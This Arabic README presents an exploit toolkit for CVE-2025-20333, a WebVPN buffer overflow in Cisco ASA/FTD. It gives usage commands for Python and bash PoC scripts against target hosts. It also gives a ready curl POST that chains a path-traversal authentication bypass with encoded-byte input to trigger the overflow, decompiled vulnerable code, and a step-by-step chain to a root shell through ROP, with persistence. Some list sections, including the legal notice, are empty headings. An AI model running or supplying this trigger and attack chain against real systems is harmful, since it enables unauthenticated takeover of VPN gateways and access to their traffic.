
أداة بحث واستغلال متكاملة لثغرة CVE-2025-20333، وهي تجاوز سعة المخزن المؤقت الحرج في WebVPN الخاص بـ Cisco ASA/FTD. تتضمن تحليلاً ثنائياً مفصلاً، واستغلالات إثبات المفهوم (PoC) بلغتي Python وbash، ودليلاً للاستغلال.
يحتوي هذا الدليل على بحث شامل وتحليل وكود إثبات المفهوم لثغرة CVE-2025-20333، وهي ثغرة حرجة في تجاوز سعة المخزن المؤقت في خوادم Cisco ASA/FTD WebVPN.
الحالة: ⚠️ يتم استغلالها بنشاط في البرية (حملة ArcaneDoor)
درجة CVSS: 9.8 حرجة
مصادقة: غير مطلوبة (تم تجاوزها عبر CVE-2025-20362)
التأثير: تنفيذ كود عن بُعد بصلاحيات الجذر
CVE-2025-20333-RESEARCH-NOTES.md (20 كيلوبايت)بحث هندسة عكسية كامل
النتيجة الرئيسية:
مخزن مؤقت ثابت بحجم 16 بايت (local_58[16]) في body_lexer.re2c
حلقة فك ترميز URL لا تحتوي على أي فحص للحدود
الكتابة إلى local_58[iVar11] دون التحقق من أن iVar11 < 16
بعد 8 أزواج سداسية عشرية: تجاوز ← تلف المكدس ← تنفيذ كود عن بُعد
EXPLOITATION-GUIDE.md (12 كيلوبايت)دليل استغلال عملي
cve-2025-20333-poc.py (15 كيلوبايت)استغلال Python كامل الميزات
الميزات:
الاستخدام:
# عرض تفاصيل الثغرة
python3 cve-2025-20333-poc.py --details
# استغلال الهدف
python3 cve-2025-20333-poc.py 192.168.1.100 443
# إعدادات مخصصة
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 كيلوبايت)استغلال bash خفيف الوزن
الميزات:
الاستخدام:
# عرض التفاصيل
./cve-2025-20333-poc.sh --details
# الاستغلال
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# يدوي مع curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| الخاصية | القيمة |
|---|---|
| معرف CVE | CVE-2025-20333 |
| النوع | تجاوز سعة المخزن المؤقت في المكدس (CWE-120) |
| المكوّن | body_lexer.re2c (FUN_0302e690) |
| الإصدارات المتأثرة | ASA 9.16–9.23، FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (حرجة) |
| المصادقة | غير مطلوبة (عبر CVE-2025-20362) |
| تفاعل المستخدم | لا شيء |
| التأثير | تنفيذ كود عن بُعد بصلاحيات الجذر، اختراق كامل للنظام |
| الحالة | يتم استغلالها بنشاط (مايو 2025+) |
| الإفصاح المسؤول | قامت Cisco بالتصحيح؛ تم نشر الاستشارة |
// body_lexer.re2c - حلقة فك ترميز URL
byte local_58[16]; // ← مخزن مؤقت ثابت بحجم 16 بايت
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← لا يوجد فحص للحدود!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
مشغّل التجاوز: 9+ تسلسلات %XX متتالية في جسم POST
1. المهاجم (لا يتطلب مصادقة)
↓
2. HTTP POST إلى /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362: تجاوز المسار يتجاوز فحص المصادقة
└─ يصل إلى نقطة نهاية files_retr.lua (auth_flag = 0)
↓
3. جسم POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ أزواج مشفرة بعنوان URL)
↓
4. body_lexer.re2c يعالج جسم POST
├─ يراكم الأزواج السداسية العشرية في local_58[16]
└─ بعد 8 أزواج: تجاوز!
↓
5. تلف المكدس
├─ يستبدل local_48، local_40
├─ يستبدل RBP المحفوظ
└─ يستبدل RIP المحفوظ (عنوان الإرجاع)
↓
6. اختطاف تدفق التحكم
├─ يشير RIP إلى أدوات ROP
├─ سلسلة ROP تُعدّ execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. تنفيذ كود عن بُعد بصلاحيات الجذر (عملية lina تعمل كجذر)
├─ اختراق كامل لخادم VPN
├─ الوصول إلى كل حركة مرور VPN
└─ استمرارية عبر تعديل NVRAM
lina في Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] بدون فحص للحدودالتحقق من التصريح
تشغيل الاستغلال
# فحص سريع: هل يستجيب الهدف لمحاولة الاستغلال؟
python3 cve-2025-20333-poc.py <target_ip>
# أو إصدار bash:
./cve-2025-20333-poc.sh <target_ip>
التحقق من الاستغلال
توثيق النتائج
قراءة ملاحظات البحث
CVE-2025-20333-RESEARCH-NOTES.mdدراسة أدوات PoC
التكيف والتوسيع
⚠️ إشعار قانوني
تم توفير هذه المجموعة لأغراض الاختبار الأمني المصرح به فقط.
✅ الاستخدام المصرح به:
❌ الاستخدام المحظور:
cve-2025-20333/
├── README.md (هذا الملف)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 كيلوبايت، بحث شامل)
├── EXPLOITATION-GUIDE.md (12 كيلوبايت، دليل عملي)
├── cve-2025-20333-poc.py (15 كيلوبايت، PoC بلغة Python)
└── cve-2025-20333-poc.sh (8.5 كيلوبايت، PoC بلغة bash)